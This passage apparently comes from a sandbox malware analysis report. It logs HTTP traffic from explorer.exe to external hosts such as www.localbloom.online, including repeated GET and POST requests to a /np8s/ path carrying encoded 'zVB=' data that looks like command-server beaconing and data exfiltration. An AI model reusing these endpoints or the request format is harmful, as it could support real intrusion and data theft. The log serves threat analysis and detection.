May 27, 2022 18:44:34.679843903 CEST	9857	IN	Data Raw: 6f 72 69 67 69 6e 22 2c 22 61 6e 6f 6e 79 6d 6f 75 73 22 29 2c 24 73 63 72 69 70 74 31 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 2c 22 2f 2f 69 6d 61 67 65 2e 75 63 2e 63 6e 2f 73 2f 75 61 65 2f 67 2f 30 31 2f 77 65 6c 66 61 72 65 Data Ascii: origin","anonymous"),$script1.setAttribute("src","//image.uc.cn/s/uae/g/01/welfareagency/vconsole.min-3.3.0.js"),$head.insertBefore($script1,$head.lastChild),$script1.onload=function(){var e=document.createElement("script");e.setAttribute("cro
May 27, 2022 18:44:34.679872036 CEST	9857	IN	Data Raw: 74 70 73 3a 2f 2f 69 6d 61 67 65 2e 75 63 2e 63 6e 2f 73 2f 75 61 65 2f 67 2f 33 6f 2f 62 65 72 67 2f 73 74 61 74 69 63 2f 61 72 63 68 65 72 5f 69 6e 64 65 78 2e 31 63 33 37 38 34 31 37 31 39 32 33 30 39 62 30 61 38 32 37 2e 6a 73 22 3e 3c 2f 73 Data Ascii: tps://image.uc.cn/s/uae/g/3o/berg/static/archer_index.1c378417192309b0a827.js"></script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.5	49853	23.231.99.207	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 27, 2022 18:42:23.902453899 CEST	2978	OUT	GET /np8s/?zVB=MO+mSdLLrNuwRQYoVJuGLv0I5Vniy3FD6QWfbcj4un1GXTVLdefusF8/o4IGo+fIW5Ou&4hM4=o4B0f HTTP/1.1 Host: www.refreshertowels.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.5	49946	185.134.245.113	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 27, 2022 18:44:47.033349037 CEST	9899	OUT	POST /np8s/ HTTP/1.1 Host: www.localbloom.online Connection: close Content-Length: 409 Cache-Control: no-cache Origin: http://www.localbloom.online User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.localbloom.online/np8s/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 7a 56 42 3d 68 62 51 6a 45 64 37 4f 55 73 31 78 6c 61 46 55 36 51 47 50 31 73 33 44 33 6f 39 35 66 51 5a 58 33 30 42 61 73 6c 52 6c 74 6f 63 45 41 68 31 75 4d 67 6f 45 50 46 55 61 4f 4b 4d 63 6b 6a 4e 79 44 6b 7e 62 44 79 68 4f 66 59 51 73 46 65 52 36 78 57 55 33 43 52 39 57 46 51 68 75 67 6a 48 37 6b 68 36 55 62 74 78 5a 54 32 52 67 4c 51 75 63 59 53 4f 58 4a 35 55 75 46 58 69 6a 28 67 61 63 73 4c 59 4a 4a 49 59 36 4e 55 34 4f 54 74 6c 53 39 35 77 70 36 69 55 67 64 4d 6c 77 4b 46 64 77 79 73 63 50 4c 50 4f 39 38 5f 50 67 70 61 33 56 59 67 57 6d 5a 6c 46 41 6f 4f 78 76 28 6c 6a 4b 36 38 51 4b 6a 5f 54 78 43 66 49 65 61 42 71 6c 66 55 59 56 35 38 54 4b 47 43 30 4d 6f 52 71 49 53 70 72 56 36 46 54 77 42 57 69 44 35 38 42 4f 44 61 43 4d 7e 6c 68 45 6f 63 45 7a 46 66 7a 43 54 63 58 66 6c 4e 4f 71 34 4e 61 74 7a 44 51 48 43 43 73 41 72 44 34 30 49 34 6a 6c 65 56 66 58 79 37 58 53 7a 33 4a 72 74 4e 57 33 57 61 54 39 76 59 69 78 72 48 31 73 4d 44 36 7a 6a 45 56 59 54 51 6c 51 37 63 4b 47 49 6f 67 68 64 67 4b 4d 6b 41 68 4c 6c 51 6c 69 72 34 49 71 7e 30 30 66 4e 41 43 63 71 37 28 42 78 6c 56 4e 43 33 32 49 34 71 6f 55 75 74 44 68 6b 51 36 62 4d 7a 66 78 4c 65 44 46 43 35 67 79 70 42 6c 57 53 4c 44 38 70 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: zVB=hbQjEd7OUs1xlaFU6QGP1s3D3o95fQZX30BaslRltocEAh1uMgoEPFUaOKMckjNyDk~bDyhOfYQsFeR6xWU3CR9WFQhugjH7kh6UbtxZT2RgLQucYSOXJ5UuFXij(gacsLYJJIY6NU4OTtlS95wp6iUgdMlwKFdwyscPLPO98_Pgpa3VYgWmZlFAoOxv(ljK68QKj_TxCfIeaBqlfUYV58TKGC0MoRqISprV6FTwBWiD58BODaCM~lhEocEzFfzCTcXflNOq4NatzDQHCCsArD40I4jleVfXy7XSz3JrtNW3WaT9vYixrH1sMD6zjEVYTQlQ7cKGIoghdgKMkAhLlQlir4Iq~00fNACcq7(BxlVNC32I4qoUutDhkQ6bMzfxLeDFC5gypBlWSLD8pw).
May 27, 2022 18:44:47.077271938 CEST	9900	IN	HTTP/1.1 405 Not Allowed Server: nginx Date: Fri, 27 May 2022 16:44:47 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Data Raw: 61 36 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a6<html><head><title>405 Not Allowed</title></head><body bgcolor="white"><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.5	49947	185.134.245.113	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 27, 2022 18:44:47.080343008 CEST	9913	OUT	POST /np8s/ HTTP/1.1 Host: www.localbloom.online Connection: close Content-Length: 36477 Cache-Control: no-cache Origin: http://www.localbloom.online User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.localbloom.online/np8s/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 7a 56 42 3d 68 62 51 6a 45 59 54 69 62 5f 78 73 37 61 4a 6e 33 46 53 62 36 38 6e 37 31 59 34 6f 54 79 74 55 6d 32 70 4f 69 46 67 56 73 70 6b 6b 48 53 42 50 49 6e 6c 52 50 42 5a 2d 4b 5f 6b 59 33 54 42 7a 44 6b 33 36 44 79 6c 4f 65 59 49 61 46 2d 68 45 79 31 73 30 45 78 39 6d 45 51 68 4e 6b 6e 48 47 6b 68 75 36 62 74 35 7a 54 6d 64 67 4e 7a 47 63 4d 68 6d 63 55 4a 55 6b 5a 48 79 5f 69 77 47 72 73 4c 51 72 4a 49 6b 36 4f 6b 30 4f 56 4e 31 64 32 61 59 6d 39 79 55 68 58 73 6c 70 54 56 67 4a 79 73 49 74 4c 4f 79 39 39 4e 62 67 34 61 58 56 61 52 57 6e 57 31 46 5a 73 4f 78 75 37 6c 28 62 36 38 4d 4f 6a 37 71 47 43 4f 38 65 49 68 71 67 59 47 35 71 71 37 48 5a 45 43 42 63 6f 52 6d 74 63 64 79 54 36 42 43 72 58 54 76 37 37 65 70 77 44 59 75 6d 79 6c 68 41 39 73 46 6e 46 66 79 5f 54 63 58 68 6c 4e 65 71 34 4c 61 74 7a 58 38 48 45 48 34 42 30 6a 34 78 4d 34 6a 33 61 56 6a 76 79 36 28 6f 7a 32 6c 37 71 36 6d 33 58 50 37 39 6e 62 4b 79 77 48 30 70 42 6a 36 52 7e 30 55 50 54 51 6c 32 37 64 4b 6f 49 2d 6b 68 50 46 6d 4d 6a 6d 56 4c 70 41 6c 69 6b 59 49 73 72 45 34 50 4e 41 61 59 71 37 50 72 78 57 35 4e 42 6c 7e 49 37 4c 6f 55 39 4e 44 68 6f 77 37 5a 66 6a 7a 31 4f 38 37 44 42 5a 56 4e 30 67 30 41 55 34 4f 79 35 6d 30 67 71 48 30 47 4b 57 50 51 37 77 6f 37 4f 4b 45 62 79 49 28 36 4e 41 4e 6d 6d 57 68 41 71 49 37 56 55 47 76 78 4a 6d 76 55 54 58 39 42 72 79 63 47 56 39 34 65 37 6c 45 44 49 69 37 5a 64 44 76 59 43 41 52 39 39 4f 4f 2d 61 75 7e 47 6b 68 63 77 5a 32 6e 5a 57 34 43 32 52 78 41 44 68 65 4e 66 38 31 76 70 69 61 52 78 52 42 53 72 58 6c 66 68 73 6e 39 53 47 37 32 74 51 35 33 36 6b 50 6b 68 36 6b 73 59 7a 2d 30 48 43 45 55 4c 63 52 48 6f 7a 6a 58 63 4d 45 6f 75 70 36 48 4d 72 44 71 59 6c 4e 49 6c 51 38 63 43 6d 32 51 44 4b 52 47 66 74 6e 62 63 6e 4b 32 55 67 6a 47 70 4e 33 4d 37 6d 42 38 4f 77 53 64 7a 30 69 46 73 4a 70 70 6f 64 45 47 4a 6a 69 36 4a 64 43 4e 6e 70 7a 71 69 62 66 4f 4f 53 67 69 33 56 54 68 37 6f 76 4e 4b 68 5f 73 42 66 34 33 6e 4e 4d 35 34 4b 38 75 66 61 44 41 6d 73 64 62 62 31 57 36 54 53 67 6f 4d 71 75 64 66 28 77 59 2d 6a 72 48 65 4b 33 6a 6c 57 6e 65 39 74 2d 45 77 30 58 66 53 74 4b 61 70 6c 34 4b 6b 4d 59 76 69 43 5f 7e 75 72 45 64 48 63 71 56 44 6b 4b 4f 56 4f 6d 42 41 54 47 4c 37 59 30 35 68 61 77 5a 55 32 74 61 38 6d 4f 50 58 4f 58 47 64 67 33 46 4e 49 51 46 65 30 2d 5a 45 6b 74 6e 57 65 45 30 78 6a 31 78 76 39 39 56 6d 4d 76 55 6c 71 6b 56 6f 63 6f 4b 43 6d 58 78 67 44 59 4d 34 62 73 4a 44 4c 51 37 55 30 6a 4d 6d 61 6b 6c 6e 74 6e 32 78 33 4c 79 7a 45 44 64 4b 4a 35 69 57 49 39 57 6a 44 46 6f 64 4e 4f 61 58 32 43 31 64 77 54 70 32 35 5a 73 49 5a 74 38 35 79 69 65 53 6a 53 33 64 4c 43 63 53 64 51 28 6f 59 45 72 79 4f 56 4a 75 73 58 36 54 77 32 54 50 59 61 76 59 76 6d 78 49 77 66 4a 57 74 59 6c 4e 32 6c 37 39 47 4e 4b 32 57 4d 34 72 77 6e 6f 36 4d 78 5a 66 41 57 6c 4b 6c 37 6f 43 74 4f 71 7a 49 72 78 65 5a 41 68 6e 61 56 75 6b 57 58 4d 4f 63 78 42 50 76 54 4c 72 4e 41 46 65 61 45 6d 7a 73 34 7e 58 39 61 4e 4e 69 32 42 6b 69 74 43 48 44 46 58 44 6b 72 6c 47 71 2d 52 55 32 6a 4d 68 45 65 41 73 52 62 6d 74 35 35 37 62 7a 4c 65 4c 4c 7a 72 35 46 49 35 75 65 65 50 44 6e 79 78 57 31 4c 46 76 68 45 65 38 58 57 44 34 6f 7a 7a 6d 42 64 6b 66 74 45 54 66 57 5a 38 6c 74 62 34 69 57 31 46 52 54 56 51 6a 41 46 41 71 6f 64 55 79 5a 48 4c 5a 37 76 50 78 33 4b 6b 70 58 78 7a 48 45 55 62 4c 34 58 61 41 67 62 70 52 33 6a 6b 45 38 6f 49 4a 76 79 59 47 4b 41 63 4f 74 30 6b 4f 53 58 58 77 79 4b 5a 77 48 5f 57 6e 72 68 44 30 32 77 66 77 35 4e 53 2d 6d 6c 65 32 65 4f 49 5a 4a 6d 41 32 68 57 4d 76 50 4f 35 41 6e 70 7a 47 64 68 71 67 74 37 6c 43 44 34 6a 45 73 43 78 59 46 77 64 6d 6b 6f 6a 6a 57 56 6d 32 4f 68 54 4a 43 41 45 48 69 79 4c 63 75 4f 64 65 79 77 62 41 50 6f 38 6c 64 5f 41 43 6b 6d 52 4b 49 33 64 68 74 36 36 4b 6d 79 6a 62 45 55 31 45 6a 6d 44 55 74 58 31 68 43 53 6a 5a 67 66 54 4b 7e 6a 63 76 70 63 59 67 4e 35 71 41 77 78 43 5f 28 75 59 56 65 5f 32 66 5a 52 46 53 49 74 39 43 6f 65 44 6b 36 2d 48 31 30 33 30 30 73 6c 33 41 65 4c 30 47 63 43 34 5f 6f 35 4a 49 6d 7a 42 68 71 74 73 30 6d 2d 34 34 79 52 62 49 64 49 38 Data Ascii: zVB=hbQjEYTib_xs7aJn3FSb68n71Y4oTytUm2pOiFgVspkkHSBPInlRPBZ-K_kY3TBzDk36DylOeYIaF-hEy1s0Ex9mEQhNknHGkhu6bt5zTmdgNzGcMhmcUJUkZHy_iwGrsLQrJIk6Ok0OVN1d2aYm9yUhXslpTVgJysItLOy99Nbg4aXVaRWnW1FZsOxu7l(b68MOj7qGCO8eIhqgYG5qq7HZECBcoRmtcdyT6BCrXTv77epwDYumylhA9sFnFfy_TcXhlNeq4LatzX8HEH4B0j4xM4j3aVjvy6(oz2l7q6m3XP79nbKywH0pBj6R~0UPTQl27dKoI-khPFmMjmVLpAlikYIsrE4PNAaYq7PrxW5NBl~I7LoU9NDhow7Zfjz1O87DBZVN0g0AU4Oy5m0gqH0GKWPQ7wo7OKEbyI(6NANmmWhAqI7VUGvxJmvUTX9BrycGV94e7lEDIi7ZdDvYCAR99OO-au~GkhcwZ2nZW4C2RxADheNf81vpiaRxRBSrXlfhsn9SG72tQ536kPkh6ksYz-0HCEULcRHozjXcMEoup6HMrDqYlNIlQ8cCm2QDKRGftnbcnK2UgjGpN3M7mB8OwSdz0iFsJppodEGJji6JdCNnpzqibfOOSgi3VTh7ovNKh_sBf43nNM54K8ufaDAmsdbb1W6TSgoMqudf(wY-jrHeK3jlWne9t-Ew0XfStKapl4KkMYviC_~urEdHcqVDkKOVOmBATGL7Y05hawZU2ta8mOPXOXGdg3FNIQFe0-ZEktnWeE0xj1xv99VmMvUlqkVocoKCmXxgDYM4bsJDLQ7U0jMmaklntn2x3LyzEDdKJ5iWI9WjDFodNOaX2C1dwTp25ZsIZt85yieSjS3dLCcSdQ(oYEryOVJusX6Tw2TPYavYvmxIwfJWtYlN2l79GNK2WM4rwno6MxZfAWlKl7oCtOqzIrxeZAhnaVukWXMOcxBPvTLrNAFeaEmzs4~X9aNNi2BkitCHDFXDkrlGq-RU2jMhEeAsRbmt557bzLeLLzr5FI5ueePDnyxW1LFvhEe8XWD4ozzmBdkftETfWZ8ltb4iW1FRTVQjAFAqodUyZHLZ7vPx3KkpXxzHEUbL4XaAgbpR3jkE8oIJvyYGKAcOt0kOSXXwyKZwH_WnrhD02wfw5NS-mle2eOIZJmA2hWMvPO5AnpzGdhqgt7lCD4jEsCxYFwdmkojjWVm2OhTJCAEHiyLcuOdeywbAPo8ld_ACkmRKI3dht66KmyjbEU1EjmDUtX1hCSjZgfTK~jcvpcYgN5qAwxC_(uYVe_2fZRFSIt9CoeDk6-H10300sl3AeL0GcC4_o5JImzBhqts0m-44yRbIdI8CHIJWMZ61ysnW~T60v8iYC_gIV7Af7sgxDv4NQLNCj76gtvLSRv6sh7lEFBI8p0jKwoMSr4NCUq8l07ANwdVJZHY8I2v8MjOMqPZBPLQwKIU0fP4E2E82kZ42DTaHzPyqG4c4~H78cSY2FzTQ54Up~goLthU5cbzfBwqyE4y3JyPyfPTpcuOpprLojqKqvyjEKqceCicToV5BIJ3sRfk3nywZ3aUyRtCq~CD9sqV2uU(iFIzAEjD9xzvwCIGGc_cGcqHPY2V2FxlxVSw68Ll4mG9ciFwAsXasoquG1YOnuj0Tq0UrEbkng-LOYXBtcHGx6_H0O-r8M4OfoNZI2G0Frlkrf6KhdTgNRtdrnj1NBV0HAyP6aJB_oeGBj7POGmAaLVTgkIyKdAQoF0od42WtKg(ZaTrQIhmcf1ceVH3l4pzwfPuohDqBuxfD1OjIX7nDmxxQxvbe4kNzXjDrvPvMzYMb1Xh8XVx3KdtnQRfHY3Ok8FN-8r09xWnqRkJzsjf0donhFWZZ6vUqN_qbtsvPxAOHYumhmoHzbbIyjPjFptCEOGPgzmZ88t3OK2Egn8jRkhDSn6NmY6hgo1uSuK38OMn812E68nC2QdVVxSoI8yUIqyDHdqrFpav95e05iovN(grE(yQdRfkCT6C1k4GGBMdZlYDGg2caA5M3y5Tu(5dok7R4ZsGwwIKE~KhuY68WklnGid7cTbV9LovWhRXik89H(dcra9pVCSrnCcF4zhBCZmqm3eSTHHgxysBlHNfi0Woba4pFrRyF3hQC30BwpYKfseDVlEyoqcVIBAb0ka0FTAgNP33QH6lQ~E34mUum4Kzi1uzqqS1q1Ft8k81PaxYzyFfu03GLl7Z2hz0Ndh8zVTFE37nX1XEd2y50sIjdDoxsXG~U0APbw3FqLnY3i_v7Im(3c-j6hsdmHreWDr~4psTPxS88SjnK4z2Rosi_1e6G9h0PvFQ-m8KicbP3PYeniuo3AqHANrMYeJ(gPGzxgdd3VSFgswXkHWVm7cMr8lRaoSCQGqicUBqJvPTQtXIVHw(LPgMapGh79CsLF0Wc6ozGd7piH6OIczSNnDorlgJhvgjzN1XLfqiD17Nz6zmunl2vzbxhLnWGVnCX7Z7XHLgifMr0paC6C15sG5WwpX8VtIfgjtxzdTm87Y(pwfIAeRp3GQHoWXenC9KZr5mIJfZCcpfZvnEYjY9E6OWPWatehf5UBVcOK2jP3wRuF4p7V4xrwd9fyzgAmV~ekqYN2-HsUmg7eK2shkUPVTI-fxMlWcghNx4RYsvczaMqYNqn9Bpd5LJrnYUZYpSXCCig9WBwgn10o38bYOcpCZjrp6Rzg6fepVQewus4gYIHtRtFSo9xxbbS8J5_(KRF34nXwsfc1XPDOr5V1PV3fTZFFGdvBYtsH7vIIOzkeouNCmwsdsIYmt7F0giXRFisoyF_ijXvz58dbEi5BdRMCkpUqN1jasRkUy0xkrqZ4JB9ZxSW9fJDbulLrcX8W5f11SvM2-iYs5Z5TeK-FvJXyt(S8iGhRRc98aNETz0XpNPbNxvMqEOdzDyYUO5tttCU76Icda~AkdZzO0KQmdHg3VVDn4J-zB~HFN312ASmKsILDs~4LUAuXasyZL5t6wdm456NxNbERm338EM1BomoYEW5fr4qT3ISGG61YzhBkeqXTeRo1Hi_XeY5Vfen06YSfMWLXnRjoorli7afM33HJNplDq0wV47CFudIJo0mT1zWk2b00I72N2B7C7K4Y-UefqSRajvEXbJVao70aVZWShWZEwaullreBm25Vc3Np6S4VyrdLyF9CbXW2OdPGaf_m5TBeVZ3Dp1va_n9k36ZnCWQYPHNnqhHwy~iWm3vBvh8c9DVu6hVnoaFiKzCxy~ADTbi1xyxPmhvMxSbI14tQNd9eMjW77Ra~3rS1OC_E7sSQFR8F-L1KoXzFKNsIXxqIzTSjjk-rDhETMQmdjz5C7mg5p6rki9iEqxp1VfL7ieg9ZoUexW1EkvLzyuKufX00R(6m_tOsy4IEsk9TX5T~LBUoL(-z2YJChcKGjI13Wo0Lbm6e_FUQiW_xX3oz6(N3XvWfE2iXeULAMsHr85JxRCVn2LzG302V6sLOiCMbHJ6i2jEXiR2bKET6cw044HWP_lZ(UAzISjEfqbaBIxsDYDKhteMttZcdPCvaSu_fEkP(vQS4DKMNKMn9BzkFPXBgXGnyXivEb18nNZ9upOcINHGC_C4s0Enn6OeF53mXgJzuRkEhH4E3uOILS5DSParHctu7s9iPgF3rhksQ25b~R8PM1YM26jLjqQv4j8mtWtUhLfTOOo9eajo3OOR8wZuhAC7rs7ZniMu0ad3jmcMCIoUCUqr7OsDiX0dhkXLQo~cp5ctWAWm4_pIGBLxaRv2(p1iYimftPxihhr4DgRv~s8FOnwUpUQwdXeVSgbmlXzPbzwY9VFhu8ZsDX7IAn7biIf0HKABD8Pg7CfNElUWQFrHDz~9GqJhQfjXAybsglL5rsa4PgH2p6ug5n01E78KFfGVlfMXMOEA7TrKrZD9UmxJF6OOz1tHE42tGKQwgen-o2EZKfpMazMPzem_gq~VG1u2ZTM8wnOd9pOQKwJhUmGSlge5ZY7AUeOuBjN1sScvSlVKqbURYPKxNECwTugKEFbCz9(SPq8lrbLfwXE9oWIW8aq4(PsjVnx-2f~bo0UE8NZMeHblN8wwGk
May 27, 2022 18:44:47.124572039 CEST	9914	IN	HTTP/1.1 405 Not Allowed Server: nginx Date: Fri, 27 May 2022 16:44:47 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Data Raw: 61 36 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a6<html><head><title>405 Not Allowed</title></head><body bgcolor="white"><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.5	49948	185.134.245.113	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 27, 2022 18:44:47.124989033 CEST	9914	OUT	GET /np8s/?zVB=uZkZa9PDR+t76IUsjgXNksX18rdkaBR0jzgf+2QyrrE0BTZPOy5IBVEfZpk90w8gWC7R&CTr8g=z48HVPSHfp HTTP/1.1 Host: www.localbloom.online Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 27, 2022 18:44:47.168735981 CEST	9916	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 May 2022 16:44:47 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Expires: Fri, 27 May 2022 17:44:47 GMT Cache-Control: max-age=3600 Cache-Control: public Data Raw: 65 33 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 77 77 77 2e 6c 6f 63 61 6c 62 6c 6f 6f 6d 2e 6f 6e 6c 69 6e 65 20 69 73 20 70 61 72 6b 65 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 0a 2a 20 7b 6d 61 72 67 69 6e 3a 20 30 3b 70 61 64 64 69 6e 67 3a 20 30 3b 7d 0a 0a 62 6f 64 79 20 7b 0a 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 63 63 63 3b 0a 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 31 70 74 3b 0a 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 0a 68 31 20 7b 0a 6d 61 72 67 69 6e 3a 20 31 30 70 78 20 61 75 74 6f 20 32 30 70 78 20 31 30 70 78 3b 0a 63 6f 6c 6f 72 3a 20 23 33 34 39 38 64 62 3b 0a 7d 0a 0a 70 20 7b 0a 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 6d 69 6e 2d 77 69 64 74 68 3a 20 32 30 30 70 78 3b 0a 6d 61 72 67 69 6e 3a 20 61 75 74 6f 20 33 30 70 78 20 31 30 70 78 20 33 30 70 78 3b 0a 7d 0a 0a 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 6d 69 6e 2d 68 65 69 67 68 74 3a 20 32 30 30 70 78 3b 0a 6d 61 78 2d 77 69 64 74 68 3a 20 38 30 30 70 78 3b 0a 6d 69 6e 2d 77 69 64 74 68 3a 20 34 35 30 70 78 3b 0a 6d 61 72 67 69 6e 3a 20 31 35 25 20 61 75 74 6f 20 30 70 78 20 61 75 74 6f 3b 0a 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 46 46 46 46 46 46 3b 0a 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 32 30 70 78 3b 0a 70 61 64 64 69 6e 67 3a 20 32 30 70 78 3b 0a 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 7d 0a 0a 69 6d 67 2e 6c 6f 67 6f 20 7b 0a 77 69 64 74 68 3a 20 61 75 74 6f 3b 0a 6d 61 78 2d 68 65 69 67 68 74 3a 20 35 30 70 78 3b 0a 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 62 6f 72 64 65 72 3a 20 30 3b 0a 7d 0a 0a 2e 6c 6f 67 6f 63 6f 6e 74 20 7b 0a 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 0a 2e 6c 61 6e 67 73 65 6c 65 63 74 20 7b 0a 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 74 6f 70 3a 20 31 30 70 78 3b 0a 72 69 67 68 74 3a 20 31 30 70 78 3b 0a 7d 0a 0a 2e 6c 61 6e 67 73 65 6c 65 63 74 20 69 6d 67 20 7b 0a 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 77 69 64 74 68 3a 20 61 75 74 6f 3b 0a 62 6f 72 64 65 72 3a 20 30 3b 0a 6d 61 72 67 69 6e 3a 20 32 70 78 3b 0a 68 65 69 67 68 74 3a 20 31 35 70 78 3b 0a 7d 0a 0a 2e 66 6f 6f 74 65 72 20 7b 0a 63 6f 6c 6f 72 3a 20 23 61 61 61 3b 0a 6d 61 72 67 69 6e 3a 20 31 65 6d 20 61 75 74 6f 20 30 70 78 20 61 75 74 6f 3b 0a 66 6f 6e 74 2d 73 69 7a 65 3a 20 38 70 74 3b 0a 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 6d 69 6e 2d 77 69 64 74 68 3a 20 34 35 30 70 78 3b 0a 7d 0a 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a Data Ascii: e3f<!DOCTYPE html><html><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>www.localbloom.online is parked</title> <style>* {margin: 0;padding: 0;}body {background: #ccc;font-family: Arial, Helvetica, sans-serif;font-size: 11pt;text-align: center;}h1 {margin: 10px auto 20px 10px;color: #3498db;}p {display: inline-block;min-width: 200px;margin: auto 30px 10px 30px;}.container {position: relative;text-align: left;min-height: 200px;max-width: 800px;min-width: 450px;margin: 15% auto 0px auto;background: #FFFFFF;border-radius: 20px;padding: 20px;box-sizing: border-box;}img.logo {width: auto;max-height: 50px;margin-top: 30px;border: 0;}.logocont {text-align: center;}.langselect {position: absolute;top: 10px;right: 10px;}.langselect img {position: relative;width: auto;border: 0;margin: 2px;height: 15px;}.footer {color: #aaa;margin: 1em auto 0px auto;font-size: 8pt;text-align: center;min-width: 450px;} </style></head><body>
May 27, 2022 18:44:47.168754101 CEST	9917	IN	Data Raw: 3c 73 63 72 69 70 74 3e 0a 76 61 72 20 68 20 3d 20 7b 0a 27 65 6e 27 3a 27 77 77 77 2e 6c 6f 63 61 6c 62 6c 6f 6f 6d 2e 6f 6e 6c 69 6e 65 20 69 73 20 70 61 72 6b 65 64 27 2c 0a 27 6e 6f 27 3a 27 77 77 77 2e 6c 6f 63 61 6c 62 6c 6f 6f 6d 2e 6f 6e Data Ascii: <script>var h = {'en':'www.localbloom.online is parked','no':'www.localbloom.online er parkert','sv':'www.localbloom.online r parkerad'};var u = {'en': 'www.domainnameshop.com/','no': 'www.domeneshop.no/','sv': 'www.domainnameshop.
